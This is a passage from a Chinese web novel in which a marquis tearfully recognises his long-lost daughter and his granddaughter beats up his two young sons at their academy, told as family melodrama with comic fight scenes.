他和宋商虽然有些仇怨,但都是在私事上,在正事上,真的有利于百姓的正事上,他什么时候义气过?他们有什么冲着他来他无所谓,冲着他夫人 阮东林看向剩下的两人 一个看起来就有些讨厌的小白脸,不认识 一个,就是和齐晔一个模子刻出来的齐铮呢 阮东林眼神不善地看着齐晔:“岐王殿下过来,本侯本该扫榻欢迎,但是您这一声不吭,先找上内人,未免不太妥当吧?她身体不好,回去就病倒了,殿下就没什么要和我说的?” 齐铮看着他愠怒的模样,心中各种猜测,低声:“本王有一疑问,不知安东候可否为我解惑” 阮东林沉声:“殿下有问,臣不敢不回” 这模样,毫不掩饰对他的不悦 齐铮不太在意,他只是看了眼身旁噙着笑的曲茂泽,怎么看怎么觉得有些幸灾乐祸,他心中有了结论,问:“现在的安东候夫人,便是您早年失踪的妻子,对吧?” 阮东林脸色瞬间阴沉下来:“殿下慎言,那些年兵荒马乱,微臣的前妻,早就死在战乱中了,何来此言?” 齐铮再看曲茂泽,他脸上的幸灾乐祸已经快藏不住了 看样子两人确实如传言那般,恩怨颇深,不然也不至于在这种地方坑人一把 齐铮看向阮东林的目光带上两分怜悯,不顾他明显愠怒的模样,说道:“侯爷莫怒,我们此番前来,不为其他,只为认亲” 这话换个人说,阮东林只当他放屁,但是齐铮,长得太有说服力了,剑眉星眸,俊美庄重,一看就是稳重敞亮的人 但是寻亲 阮东林思索,他们一行四人,宋锦就不说了,作为宋商的孩子,她和他绝无半分关系,剩下的,就只有牛铁兰了。他开始回想她的长相,但是那么兵荒马乱的,又是年轻小姑娘,他没事看那么仔细干什么? 只记得她杏眸皓亮,清婉恬雅,有几分他夫人年轻时候的影子 阮东林心里咯噔一下,却又觉得不可能 他的阿玲 齐铮看他一副五雷轰顶的懵咤样,想想也有些怜悯他 和亲孙女大打出手,气跑亲女儿,死对头又成女婿 毕竟这以后多少也得是自己长辈,他可不像宋锦那般一身反骨,故意找茬,他斟酌起来,思索着该怎么说话,能让他稍微不那么可怜 曲茂泽看够了戏,他噙着笑,慢慢悠悠走到如遭雷劈的阮东林面前,声音悠缓:“在下曲茂泽见过侯爷,我们此番前来略显仓促,还望您莫见怪。是这样的,在下的妻子牛铁兰,今年三十有四,幼时被人拐走,后面侥幸逃脱,也忘了家在哪儿。她只记得出事当日,正值冬日,她穿着红衣,出门买糖葫芦……” 阮东林牙齿咯咯作响,死死地盯着曲茂泽 这些年,不少人都知道他寻女儿的事,仔细打探也能知道名字,但是这些细节,他从未和任何人说过。能知道这么清楚,除了是那贼人,便只有一个可能 曲茂泽欣赏着阮东林难看的脸,心里有些舒坦 他都被动降辈了,这老贼总不能什么都不付出,就白捡一家子人吧? 还狗崽子 曲茂泽眸色深了几分,有些恶劣道:“前段时间,夫人认出了当年的贼子,这才知得了身世,亲父名字和侯爷一样,真巧啊,不过看侯爷的态度,应该不是您了,看来是白走一程,明日我们就回” 阮东林一把攥住曲茂泽的领子,打断他的话,眼中血丝弥漫,里面全是狠辣,一字一字:“宋、商,你若敢拿这事作棋,我定要你命” 这话调,这身形,这惹人厌的模样,除了宋商那狗东西再无他人了 衣领被攥得很紧,勒得曲茂泽脸一点点红了起来,经脉鼓出,他却毫不在意,噙着笑:“原来我和宋首辅长得相似吗?这么说,我和金金也有父女像了?” 阮东林不想听他这些屁话,手上青筋暴起,狠狠拉过人,不可置信:“她真的是阿玲?” 曲茂泽也没再戏弄,正色起来:“她叫阮金玲” 她也是阮金玲,至于是不是他们的那个,需要他们自己来验证了 说完,他掰开阮东林的手,轻轻理了理衣服,转身扬长而去 他才不要陪这么个老东西 阮东林此刻已经顾不上这个死人复活的事了,他的手跟着发抖,腿也有些软,踉踉跄跄地扶着一旁的椅子坐下,傻了一般坐在那儿一动不动 整个客栈早早就被封住,楼上的客人下楼见着二楼的狼藉,静悄悄跑得比谁都快,一楼,已经封闭了,无人上来打扰 他就这么坐在窗边发呆 分不清什么时辰,底下木梯传来急匆匆的踏步声,邰清心仓促慌乱地跑了上来,她的眼还有些红肿,见到二楼的狼藉,那不详的预感成真 她走到阮东林身边,颤着声音:“你干什么了?不是说要去当差吗?” 阮东林失了魂一般转头,先前还威风八面的人,这会儿看着有些可怜,他轻声:“夫人,你说我现在从这儿跳下去,来得及吗?” 邰清心:…… 不知道啊,要不他们一起跳算了 死老头 第110章 有什么证据 “娘你还有我呢” 屋子里,牛铁兰把自己埋在被子里面,一声不吭。宋锦就跟壁虎似的,整个人压在被子上,长手长脚地扒在上面,脑袋往被子里面钻 被子里面黑漆漆的,她老娘埋着脑袋,她只看得到她黑漆漆的头顶 宋锦脑袋探进去,用下巴扒拉着人,嘴上碎碎念念:“没事没事,不就是挨骂嘛,我不在意的,娘你别难过。那老头年纪大了,我让着他点也没什么……” 牛铁兰没有声响 在漫长的年岁中,她学会最多的就是安静,哭没用,吵也没用,安静观察,想到办法才是破解之道 她埋在被子里,任由眼泪流淌,心口一抽一抽 ,说不出的烦闷伤痛 时光飞逝,物是人非 原来所有的人都在,只是被她一点点错过了 这十六年来,她一无所获,除了这个只会用爪子扒拉人的狗崽子 牛铁兰想着自己这十六年来的谨小慎微碌碌无为,只看到了自己的愚蠢和无力,她紧紧抱住脑袋,声音沙哑:“你出去,别烦我” 还在担心人的宋锦震惊:“娘你嫌我烦?” 听听,听听,这才多久啊,人都还没有认上,就嫌弃上她了,刚才就该打死那老头的 牛铁兰现在不想和她闹腾,声音虚弱:“宋锦” 宋锦瘪了瘪嘴:“好吧好吧我出去,你不要太难过,你还有我呢,我就在外面,想我了就喊我……” 她碎碎念念地说着,一点点退出被子 牛铁兰蜷在被子里,厚重的被子挡住外面的光线,漆黑一片,外面的声音一点点跑远,杂闹消失,取而代之的是无边的孤寂 不过也没持续多久 又有脚步声停在了床边 他步子要稳一些,一听就不是宋锦的,那是谁也不用多想了 牛铁兰攥紧了被子,翻了个身,一个字都不想说,就听一声喟叹,来人坐在了床边,压着被子,紧接着上了床 她连着被子又被按住 牛铁兰觉得有些烦 小的大的都一个德行,她就想安安静静地一个人待一会儿,有怎么难吗? 曲茂泽侧躺在一边,一只手撑着头,另一只手连人带被抱进怀里,然后被重重踢了一脚,隔着厚厚的被子,他好像都看到其中的怨念 他勾着唇,叹:“你爹认出我了” 最开始的计划,他本来应该是死得不能再死,除了齐晔没一人知道的,但是自从那日在上杨村碰上母女俩,事情就歪得一发不可收拾 牛铁兰听着气不打一处来,好一个认出他了,认得出他都认不出她,跑她面前炫耀是吗? 她掀开被子从里面钻了出来,头发凌乱,一张脸湿漉漉的,眼睛通红,狠狠瞪着他,像是被踩了尾巴的雪狐,没有一点儿威慑力 曲茂泽轻笑:“你该如何赔我?” 牛铁兰磨着牙,死死瞪着他,看着他悠哉侧躺的模样,更是气不打一处来,扑过去双手掐着他的脖子:“你还好意思说,你是不是故意的?” 昨日这人爆她的真名,邰清心后面的反常就让她心有疑虑了,今日这么一闹,再看他这般淡然,她若一点儿都猜不到,那些年早就不知道死多少回了 对于她的恼怒,曲茂泽一点儿也不心虚,身后绕着她的发丝,笑:“你要是笨一点就好了” 那可好玩多了 牛铁兰深吸一口气:“你一直都知道?” 曲茂泽无辜:“倒也没有,只是,比你聪明一点点” 提前一步猜到罢了 他神机妙算,也不是神算,哪里能连阮东林的老婆孩子小厮全都查清楚?这些对以前的他来说也不重要,他也就知道个大概 但是,作为能自己改头换面的人,他在人像方面比普通人强上太多了 邰清心的长相,还有她的反应,都证明了很多东西 不过也只是有所猜测,他不好说,万一不是倒让她多失望一次,但这不是阮东林那老东西自己送上门吗? 曲茂泽缠着她的秀发,一点点摸上她的侧脸,轻柔:“这是好事啊,怎么不开心?” 牛铁兰掐着他脖子的力道重了重,紧紧抿着嘴不说话,眼神有些放空 开心吗?自然是开心的 但是更多的,还是无措和怅然 如果不那么早笃定,如果再确认一番,如果那些年回去寻一寻…… 她好像总是错过 牛铁兰垂眸,看着躺在身下,任由她掐着的曲茂泽,眼泪一颗颗落下,无声哭泣 泪珠砸下,曲茂泽绕着青丝的手一顿,慢慢松开,轻抚她的眼角,感叹:“这是高兴还是难过?” 眼泪模糊了眼睛,牛铁兰都看不清他的脸,只是突然想起,那日金铃山上,她和这人对峙之际,他也是这般抚着她的眼角,问她 这次哭,是高兴还是,失望? 牛铁兰当时没有回答,只是静静撤离,拉开了和这人的距离,现在,松了手,按着他的手腕,手腕上伤痕不断,还没完全愈合,她侧了侧脸轻轻贴上,声音轻轻,带着藏不住的颤意 “后悔” 曲茂泽一怔 她微微侧脸,鼻尖泛红,杏眸含泪,泪眼朦胧之下,脆弱得像是雪山上的花,颤颤巍巍,又坚韧倔强,拼命生长。 泪滴落下 她又重复:“我说我后悔了” 她若是当初不走,不至于在外躲躲藏藏,独自带着孩子,平白错过十来年,错过这人,也错过那边。 她当时若是再胆大一点,就留在那里,身上的蛊他能解决,她不会病弱十来年吃尽苦头,她的孩子不用在乡野野蛮长大,她也不用十来年后才知道父母消息 若只有曲茂泽一人错过,牛铁兰还能安慰自己,她没有选错 她独自带着孩子也过得好好的,她无需后悔 可现在阮东林和邰清心也好好的,让她的心理防线一点点崩塌,离开女园后,她好像每一步都是错了,就是这次来到都城,也是宋锦的决定,不是她的 她一点儿也不聪明,蠢得无可救药 牛铁兰:“我当初不该走的” 曲茂泽哑然 她当初走的确实心狠,狠得让他觉得那就是她动的手,她要走,他也放她走 即便知道她也是身不由己,但要说没有怨是不可能的 曲茂泽想起前段时间第一次见她时候,她一身病气,单薄柔弱得仿若一阵风就能吹跑,一副命不久矣的模样 她怎么就给自己养成这幅模样了呢?这就是她想要的? 但是他又能说什么呢? 曲茂泽深深叹气,半坐起身,揽着她的腰肢将人扣在身上,擦去她的泪水,轻声安慰:“谁又能想得到十来年后的事情呢?你把自己和金金照顾得很好” 虽然她身体差些,但是精神好得很,一看这些年是只吃药不吃苦 若不是红线蛊,她会过得很好很好 曲茂泽看着她紧紧咬着的唇,伸手轻轻捏开,骨节放上:“我皮糙肉厚,咬我吧” 牛铁兰吸着鼻子,咬不下去 这段时间为了她,他身上新伤旧伤不断,就跟铁打的似的,不会叫苦叫疼,嘴也硬得要死,一句好听话不会说,没提过一个情字 可若两人换个位置,让她这般放血刮肉,她怕早就跑了 牛铁兰心一抽,一点点软了身形,倾过身子,揽住他的脖子,脑袋靠了过去,一点点贴紧,直到亲密无间 她带着哭腔:“对不起” …… 屋顶上,宋锦靠在黑瓦片上,看着蔚蓝的天空,咬着被冷风吹散的头发,呸一下吐了出来,然后坐起身子,侧头 “那老东西打我,我就去打他儿子,不过分吧?” 齐铮有些怀疑自己的耳朵,他刚才应该都说清楚了吧? 他再次强调:“他们应该是你亲舅舅” 虽然同父异母也是亲的,但在宋锦这肯定不是,可现在基本能确定那两是宋锦正儿八经的亲舅舅 宋锦一脸认真:“所以更要趁早打” 打孩子就是要趁早 她以后都得叫两个小毛孩舅舅了,先打两顿怎么了? 齐铮无言以对,想了想,还是劝:“就怕日后你娘会为难” 宋锦冷笑一声:“这都为难了,他们也不是什么好东西,知道活着就够了” 因着上辈子的经历,她骨子里就透着自私,占有欲极强,自己喜欢的东西,摔了都不会给人。她只要绝对偏爱,那种人人都有的东西,只能分一小瓣的真心,她也不稀罕 她娘也一样 要么就痛痛快快,要么就割成两半,没得说扭扭捏捏这里一点那里为难的 谁稀罕那种谁都有的东西啊 宋锦眉眼间戾气乍生,只问:“你到底去不去?” 齐铮定定地看着她,眼眸深邃,神色冷肃,看起来坚硬如铁,又一点点化为 无奈:“去” 宋锦满意了,她站了起来,拍拍衣服,朝着他伸手,有些傲娇:“走吧,我带你下去” 齐铮看着她这小模样,失笑,拉着她的手起身 这人真是又难哄又好哄 宋锦轻轻一哼,攥着他的手,直接从三楼楼顶飞下 稳稳落地 ** 南心客栈里 阮东林和后面跟来的邰清心坐在床边,夫妻俩都坐立不安,时不时看向楼梯口处 一上午时间,酒楼住宿的人已经被清完了,但是他们等到人还没有下来 邰清心看着桌上的吃食,很是担忧:“都这个点了,她早饭都没吃,也不知道饿没饿” 阮东林比她想的更多,这么半天没有声响,别说吃饭,不会人都走了吧? 他不敢说,也不敢上去看,已经做好了过段时间去都城一趟的打算了 不过嘴还是要硬一下,他道:“也不能别人说什么就是什么,夫人你忘了十年前的事了?” 他丢了个孩子的事,不少人都知道,这些年也有人找了过来,大部分很快就能查明,但是也有很相似的 十年就有一个孩子找过来,长得有几分阮东林的影子,甚至身上还有同样的胎记,各方面都说得上,他们也以为就是她了,给她一家人都安置了起来 结果差点害得两个儿子出事 后面严加审讯,才发现是有人让他们这么做的 他们没有查出外面的人是谁,所以谁都有这个可能,这种事再仔细也不过了 邰清心也想起那事,她神色有瞬间的黯然,但很快就恢复了,强调:“可我觉得她是,你看,她和我长得多像,如果是外面,外面的人,不会这么觉得的” 她早年被掳走,这事在外面不少人都知道 阮东林寻回她后,自然不会嫌她这段经历,却也惧外面流言给她再次造成伤害,就替她换了个身份,和以前再无关系。 若真是冲着他们来的,阮金玲不该和她相似 可偏偏就和她想像 邰清心红着眼:“东林,我觉得是她,是玲玲” 阮东林心疼,却还是叹气,带着些残忍:“玲玲,总有人会猜到的,就算是一点点怀疑,他们试一次,也不会损失什么” 在那些人眼中,一条人命,什么都不算 邰清心脸色一白 那十来年,对她来说如同噩梦一般,多少次她都想自尽,又凭着一股气撑了下去。 她做对了,苟延残喘间,她终究还是迎来了光亮,她的夫君救回了她,但也带来了噩耗,她心心念念的玲玲也早早失踪 那是她第一个孩子,是在她爱意下诞生,是她那些年艰难日子里让她撑下去的孩子 邰清心心里凄苦,声音哽咽:“可是东林,那是郡主,是王爷” 若是这么高的身份的人都是骗子,那他们这辈子还能找到人?那个孩子,真的还活着吗? 阮东林轻轻抱住她,安抚:“我们不着急好吗?等她下来,我们先定了再说,好吗?” 郡主王爷又如何? 皇位争端何其可怕,他们随口两句就能多一份力,谁能确保他们不会动这个心? 唯一让阮东林相信的,是那个死而复生的狗东西 可是,真的有这么巧吗? 阮东林想相信,又不太敢信,他这些年已经经历了太多了失望,若他都失去那丝理智,他可怜的孩子这辈子都无法回家了 他不愿如此 夫妻俩就这样抱在一起,互相安抚着对方的情绪,直到上方传来脚步声 邰清心想也不想地重重把人退开,一个人坐开,擦擦眼角理理衣服 坐在地上的阮东林震惊地看着他 邰清心有些尴尬,拿着手绢掩了掩,刚想让他起来,就见到那边人影,她立马改口:“你坐地上干什么?快起来,那么大人了还一点儿不稳重” 说着,她那手绢拍了拍他,眼神催促,快起来啊 阮东林这才起身,转过头就看着走了过来的牛铁兰和曲茂泽,摸了摸鼻子:“你们来了?一日没吃饭了,我们边吃边说” 他不着痕迹地打量着牛铁兰 鹅蛋脸杏仁眼,纤细高挑,清婉雅静,一眼江南美人 确实有他夫人年轻时候的影子 至于旁边的曲茂泽,阮东林看了一眼手就有些痒 狗东西手放在哪呢? 一想到面前的人真要是自己闺女,那狗东西就成女婿了,阮东林都说不好该开心还是恶心 牛铁兰对着他打量的目光,攥着衣袖的手紧了紧,她抿着嘴,走到他们夫妻对面坐下,一张嘴,声音还有些哑 “你们不用这么防备,我没有其他意思,只是想确定一下你们是不是还活着,过两日就走了” 邰清心眼睛瞬间酸涩:“我没有,玲玲,是我的玲玲是不是?娘这些年,对不起你” 牛铁兰垂下眼,低声:“说不上,没有谁对不起谁的,你们还活着就够了。” 邰清心瞬间泪如雨下 真的是她的玲玲,真的是她 阮东林眼一酸,也差点跟着落泪了,被他狠狠压住,他赶紧拉住邰清心的手安抚她,强行压着情绪,十分冷酷地开口 “多说无益,你说你是玲玲,有什么证据吗?” 牛铁兰抬头看他,仔细看,还是有几分她记忆中的模样,那眉眼没一点变化,只是人粗糙壮硕了许多,也冷酷有气势不少 她抿着嘴:“你要什么证据?我被抓的时候七岁不到,连自己家乡在哪里都记不住,我还能记得什么?” 这话掺了不少假 牛铁兰还是记得的,她记得家里的小院,记得家中的杨槐树,记得身边照顾她的丫鬟嬷嬷,也记得阮东林经常带她画风筝,将她扛在背上 她完全不记得的,只有早两年就失踪的邰清心,那时候她才四五岁大,记不住人 不过她现在心情不好,也不想好好说话,更不想面对阮东林的质问 很烦 阮东林不信:“那你怎么找上门的?” 牛铁兰淡淡:“前段时间,都城戴家冤枉金金杀人,后面牵连英国公府一众官爵出事,你应该有消息吧?” 阮东林颔首:“有关系?” 牛铁兰:“那被做筏子的戴家主母,就是当初抓我的人,我记得她,从她嘴里问出这些,第二日她就出事,不过好在虚惊一场,现在人已经去往漠北,你若是不信,可以去问她” 听到这,阮东林身上已经起了杀意:“这等贱人,不杀何用?” 牛铁兰嘴有些干,抿了口茶水润喉,轻声:“她也身不由己,一个小小棋子,无足挂齿” 阮东林杀气腾腾 不待他说什么,牛铁兰又淡淡开口:“你要查是你的事,但是我应了她饶她一命,你就不许动她” 阮东林忍无可忍,一巴掌狠狠拍在桌子上,站起身:“好一个不许,莫不是怕我查出什么,你才这般说吧?” 邰清心赶紧拉住他:“东林,你冷静点” 阮东林呼吸急促,这让他如何冷静 事关他寻找了近三十年的女儿,他如何冷静 他紧紧握拳,死死瞪着牛铁兰,对上她冷淡的目光,像是被一盆冰水浇过,怒气一点点熄下,理智回来,他沉沉:“你说,你记得那贼人?” 牛铁兰垂过眸不说话 阮东林手上青筋一点点爆起,眼珠瞪出,上面血丝渐起,结合他壮硕魁梧的身形,看上去格外的吓人 他一字一字:“那你凭什么记不得我?” 他情绪失控,声音洪亮,萦绕在封闭的酒楼里,十分震耳 牛铁兰静坐桌边,轻轻抿茶,神色淡定得仿若局外人一般,但是放在桌下的手已经死死攥紧,一点点扣入肉中 突然,一只手盖上她的手背,轻轻的,一点点握住她整张手,十指甲轻扣,卸了力,也给了她更多的力 牛铁兰抬头,看着阮东林目眦尽裂的模样,轻声:“因为你凶我” 紧张而压迫的气氛散去 阮东林错愕地看着她:“什么?” 牛铁兰缓缓起身,站直了身子,也只到他肩膀的位置,更别说她身形纤细,大腿都没他胳膊粗,瘦弱又纤细,仿若一巴掌都能轻易捏死 她抬头对视,杏眸水意弥漫,雾蒙蒙下藏着倔意:“你个怀脾气不讲道理的老头,如果你年轻时候也是这个脾气,娘肯定不会嫁给你,我也不会这么多年还想着你给我绣的丑蝴蝶,不会想那总是掉浆的花风筝,更不会念念不忘你万年不变的睡前故事” “什么破兔子找阿娘,我不喜欢兔子,也不想找不到兔阿娘还要找兔爹,我现在喜欢小老虎,能一口把坏人咬死的猛虎,最好一口吞了……” 你 砰一下 话还没说完,她被重重拥入怀里 那胸口硬邦邦的,砸得她鼻子一痛,眼泪喷涌而出 阮东林死死抱住人,嚎啕大哭 “玲玲啊” “是爹的阿玲”【你现在阅读的是 】 110-120 第111章 不就是挨点揍吗?…… 坪阳府最好的学院是昌盛书院,也是整个安东郡最好的书院 作为侯爷之子,阮金和、阮金乐兄弟必然是在这里面是入学 兄弟俩在一个班里,以前小的时候,他们长得一模一样,除了爹娘很难分清,两人经常换衣服捉弄夫子,不过这一招随着他们两个长大,一个偏文一个偏武之后就不管用了 尤其是现在,兄弟俩一个白瘦,一个黑瘦,夫子闭着眼睛都能分清两人 “所谓齐其家在修其身者:人之其所亲爱而辟焉①,阮金乐,下面是什么” 坐在角落里,用书纸折这纸剑的阮金乐缩着脖子,把东西往书下一合,疯狂地给亲哥阮金和眼神,夫子刚才说什么来着? 阮金和无奈,小声:“人之其所亲爱而辟焉,之其所贱恶而辟焉” 阮金乐反应过来,立马:“人之其所亲爱而辟焉,之其所贱恶而辟焉,之其所畏敬,呃,之其所哀唉唉……” 他的声音越说越小,越小越心虚,缩着脖子继续给他哥使眼色 然后,然后是什么来着 他记得他以前背了的,但是太久了,有些忘了 阮金和无奈之余,也习以为常,刚要继续小声提示 夫子:“阮金和,所谓齐其家在修其身者,以此为题,论中原樊秀之际” 阮金和:“中原樊秀足智多谋,见义必为,曾以白身劝郡守改库,后任府判,屯粮改道,救万千灾民……” 夫子点头:“再后来呢?” 阮金和嘴有些干,咽了咽口水,低声:“纵亲父强掳良女,唯亲弟收取贪污,后被首辅斩于府前……” 夫子没有说话,阮金和也没有停,断断续续的,虽然中间有些磕巴遗漏,但是在大面上还是很不错了,毕竟他今年也不过十二岁 相比起来,阮金乐这个胞弟,听着他说着这个樊秀的任人唯亲斩首事迹,缩着脑袋不敢做多余动作 一直到他说完 夫子评:“辞藻普通,浅薄不堪,出去外面醒醒脑子,重新组织,明日交文与我” 阮金和低声:“是” 说着,他抱着书朝着外面走去,阮金乐站在原地,看看他哥看看夫子,也赶紧抱上书朝着外面跑去,兄弟俩就齐齐站在教室外面 阮金乐挠着脑袋:“哥,对不起” 他哥每次受罚,都少不了他 阮金和已经习惯了,反正读书嘛,在里在外都可以,就是夫子刚才的话还是给了他警醒,他低声:“只要不像樊秀的弟弟一样就好” 阮金乐白眼:“你怎么不说爹呢?” 又不是只有倒霉弟弟 阮金和翻开书,靠在墙上,忧愁:“说起爹,娘身子骨不好,也不知道今日好点了没,想想都不放心” 阮金乐挠头:“要不,我跑回去看看?” 阮金和:“挨三重揍?” 他娘温柔是温柔,但是在学业方面压得很紧,不然他们今天都不会来学堂了 阮金乐没辙,一屁股蹲在地上,看着那边跳动的蚂蚱很是羡慕 他什么时候也能这么自由,不用上课啊,他又不考科举,唉,他娘也是,他爹也是 兄弟俩就站在教室外面,虽然一白一黑,一矮一高,但是一模一样的五官都表露了他们的身份 宋锦远远地,眯着眼睛看着他们俩 学院自然不会轻易让外人进入,但是就那点墙,拦得住谁啊,她轻轻松松进来,开始遍地找人 两个人作为侯爷之子,在书院也很有名气,很好找 宋锦没费什么功夫找到两人教室,然后看到他们站在门外,这叫什么? 皇天不负有心人 她撩着袖子就大步走了过去 齐铮站在身后,沉默的,不远不近地跟着,没有阻拦的意图——拦不住的,倒不如让她先出了气再说 她年纪还小,小孩子打打闹闹的,也正常吧? 宋小孩子锦大步流星走到教室门口,眯着眼睛,居高临下地看着阮金和阮金乐两个小矮子,十分来者不善 阮金和阮金乐被她看得一愣一愣 这是哪里来的姐姐啊 好漂亮 她穿得华贵,绿底粉衫,锦丝细绸,虽然因为之前一番打斗,头发多多少少有些凌乱,但是依旧掩盖不了她出众的容貌,明艳张扬,肆意夺目 阮金乐咧着牙,嘴瞬间甜了:“姐姐你找谁啊” 宋锦哟了一声,弯下腰,挑着眉打量着这个小黑猴:“哟,你叫我什么?” 阮金乐挠头,迟疑:“姐姐?” 就宋锦这身段气质,见到她的人只会往年纪大了猜,不可能往年轻了想 就说阮金乐兄弟俩,虽然十二岁,但这段时间抽条,已经一米七出头了,比起宋锦还是矮了小截,怎么看她都该是姐姐才对 难不成 阮金乐又迟疑:“姑,姑姑?” 宋锦乐了:“你小子还挺会说话的嘛,来,多叫两声” 她这模样,再傻的人都知道不对了 阮金乐嘴角一抽,郁闷地看着她,后退一步,没说话了 阮金和皱了皱眉,警惕道:“这位姑娘,有何事?” 兄弟俩长相随了阮东林,尤其是眉毛嘴巴,站在那儿就是他的小翻版,和她娘倒是没多少相似的 这就好,真要像了,她到时候还不好下手了 宋锦瞅着阮金和警惕的模样,摸了摸下巴:“你们俩谁是哥哥谁是弟弟?” 阮金和沉稳,阮金乐跳脱,兄弟俩性子倒是互补 那老东西还挺会生的啊 阮金和谨慎:“我是哥哥” 宋锦点了点头,悠悠:“那就你先吧” 说着,她直接动手了 两个人比她想的讨喜些,也不会影响她的决定 不比阮金乐的傻白甜,他看得出宋锦不是善茬,但是没想到能这么不善 光天化日,朗朗乾坤,就在学院里面,面前这个奇怪的女人都敢直接对他动手 “放肆” 阮金和被拎着领子挂在半空,气得脸红脖子粗,挣扎,又不太好,男女授受不亲,他梗着脖子:“你知道我是谁吗?现在住手,我就当没这么回事” “嘶” 话还没说话,一个巴掌拍到他脑袋上,随后他就被扭住了耳朵,再一个脚踹,砸到外面的花草上,疼倒是还好,但是侮辱性极大 阮金和平日脾气再好再稳重,也是个十二岁孩子,还是侯府之子,哪儿能没点脾气啊,气得一张脸通红,看着宋锦的目光全是怒气 见哥哥挨打,阮金乐也不管她漂亮不漂亮了,反应过来了,怒气冲冲,冲着宋锦一拳砸去 宋锦身子动都不动一下,随意伸手轻轻一挡,顺着他的拳往下,握住手腕轻轻一捏,在他的哀嚎声下,重重拧了拧他的耳朵,一脚将人踹了出去 阮金和脸色一变,赶紧接住人,但是力道不对,两个人滚在一起 宋锦看着他们兄弟俩叠叠乐,勾了勾唇,踩着围栏直接翻了出去,不给他们反应的机会,一手揪住一 个人的头发,让他们自己撞自己‘玩’ 兄弟俩呲牙咧嘴,莫名奇妙的同时,也真的怒了 两人虽然看起来瘦瘦的,那是因为长身体,他们自小学武,力气还是有的,只是一开始顾忌着男女授受不亲,‘让一让’她就算了,她还得寸进尺 兄弟俩不再‘忍耐’,他们用力挣扎开宋锦的桎梏,想也不想地冲了上去,手击脚踹,颇有些招式,地盘也稳稳的,看得出来没少练武 可惜,全是破绽 在宋锦看来,两个人就跟那落了水的小鸡一样,展翅昂头,哪哪都是毛缝 她啧啧两下,迎着两人的拳砸了过去 “嘶” 兄弟俩倒吸一口凉气,颤着手,眼泪花都要落下来了 好疼好疼 宋锦不给他们喊疼的机会,手上轻轻用力,冲着两人屁股就是两脚,兄弟俩就跟球一样在地上滚了两圈,啃了两嘴泥 “呸呸呸” 再来一手肘,一重捏,狠掐 宋锦过来就为了出气,也没出什么力,就为了折腾人 伤筋动骨她心里有数,鼻青脸肿,那不是应该的吗? …… 外面的动静不小,里面的夫子和其他学子很快跑了出来 宋锦的女子身份在这个时候就格外好使,秉持着男女授受不亲的理,没有人上前拦截,再看她全程不急不慢游刃有余,揍两个人就跟逗狗一样 她太过淡定了,也太正大光明,再加上兄弟俩也没说话 就没人上前阻拦 直到她出够了气,汗水都不出一滴,挥一挥衣袖就大摇大摆离开学院 夫子看着躺在地上鼻青脸肿的兄弟俩,皱眉问:“你们新招的武师?” 安东候做事不拘小节,这般别出心裁也不是没可能 阮金乐捂着胳膊,闭着一只眼睛,呲着牙大喊:“什么新的武师,这疯婆子是谁啊,我见都没见过” 阮金和比他好一点,但是也浑身是伤,动一下都得吸口气,他皱着眉,也是一脸莫名:“那谁啊” 如果说他们兄弟俩再大上两岁,大家还能往别的方向想一下,但是他们还小,刚刚抽条,就跟小鸡仔似的,就宋锦那明艳张扬的模样,根本想不歪一点 所以,到底怎么回事啊 在场没人想得明白 只是两人模样凄惨,上课自然不能上了,得回去寻大夫包扎一番 阮金和阮金乐喜提早退待遇,两个人相互扶持,一瘸一拐地走出学院,在学院外面等待的守卫们,看着兄弟俩鼻青脸肿的模样,天都快塌了 完啦,两个公子是火烧学院了吗挨这么大揍 “大公子二公子这是怎么了?” “你们,你们闯什么祸了?” “完了,侯爷今日心情还不好,回去还得挨揍” …… 护卫小厮们围了上去,你一言我一语,话里话外,就没人在意他们身上的伤 没办法,往常在家的时候,他们也经常被阮东林和武师这么揍,只要不伤筋动骨,都是小问题 阮金乐憋屈:“没有,我没有烧学堂,也没有砸师像,我们这是被一个疯婆子袭击了” 护卫们不是很相信他 这可是昌盛学院啊,真有人跑到里面揍人?还是一揍揍两,还是两个侯府公子 这得什么深仇大恨啊 还是女人家 阮金乐的贴身小厮颤颤巍巍:“二公子,你,你们,不会背着我们偷偷在外面欺负小娘子了吧?” 除了这种仇恨,他们也想不出其他的了 可真要是这样的话,他们的狗命就别要了 阮金乐气得吐血,一口呸在地上,头发都快飞起来了,大吼:“你说什么?老子是那种人吗?” 旁边有人看了过来 阮金和拉了拉他,皱着眉:“行了,回去再说” 作为侯爷之子,他是有自己的傲气的,刚才没那么一顿揍,他理智一点点被愤怒取代,只想报复回去,现在挨揍结束,理智一点点回来 想着昨日他娘的奇怪反应,他心里有些联想 比起只长力气不长脑子的阮金乐,阮金和知道的还要多一点,他知道他们还有个姐姐,小的时候还一起生活过一段时间,但是最后人是骗子被抓走了 真正的人还在外面没找到 能让他娘心心念念魂不守舍的,也应该也只有她了 但是 阮金和捂着肋骨,在心里祈祷最好不要是 不然他觉得这样的日子,以后定然少不了 …… 兄弟俩先去附近的医馆里包扎拿药,一番扎针揉搓之后,坐上了马车回侯府 这个时间,和他们平日下学时间也差不多了 阮东林和邰清心已经回府了,他们自然是想和牛铁兰多相处一段时间,甚至直接把人喊回家 但是,认亲场面实在有些不堪 阮东林在那里显示跟疯狗一样挑衅打架骂人,后面又是哭嚎半天,面子上挂不住,尴尬得想找个地洞钻进去,所以在简单认亲之后,他果断回家先理一理情绪 他一个五十多的老头了,面子还是得有的 其次,家里也得休息一下 他们的宝贝闺女回家了,家里不得干干净净啊 两个人一回来召集府中管事仆役对侯府进行大清扫,尤其是一直留着的院子,必须里里外外打扫干净,不留下一点脏东西 特指阮金乐的狗窝,该扔扔该换换该洗洗 侯府里丫鬟小厮忙忙碌碌 等到马车回府,阮金乐一掀开车帘,就看到自己心爱的长棍和乱七八糟的衣服杂物扔在牛车上,就要被拖出去扔了 “我的宝棍啊,你怎么了,你们要干什么” 他下车的脚一软,直接从马车上滚了下来,顾不得疼,连滚带爬地冲了过去,抱住自己两米长已经包浆的长棍,他哀嚎两声,再一细看:“我的大刀、大马、护盾、护甲……侯府是被抄了吗?怎么我都宝贝都在这” 阮金和一瘸一拐跟上,看着那一堆包浆、破壳、毛刺的乱七八糟东西,心道他们家被不被抄不好说,反正他弟的小家是被抄了 虽然贵为侯府之子,他们兄弟俩从小也不缺吃喝,但是他弟就是念旧,又喜欢捡东西,什么破烂玩意儿都舍不得扔,一年年堆在那儿 邰清心每年都想给他清一清,但都耐不住他的哭嚎 这次下这狠手 阮金和内心沉重,他知道,今天在这顿揍,真的白挨了 阮金乐嚎叫声很快就吸引了邰清心和阮东林的注意,夫妻俩朝着后院走了过来,见着他趴在地上的狗样子,只觉得眼睛疼 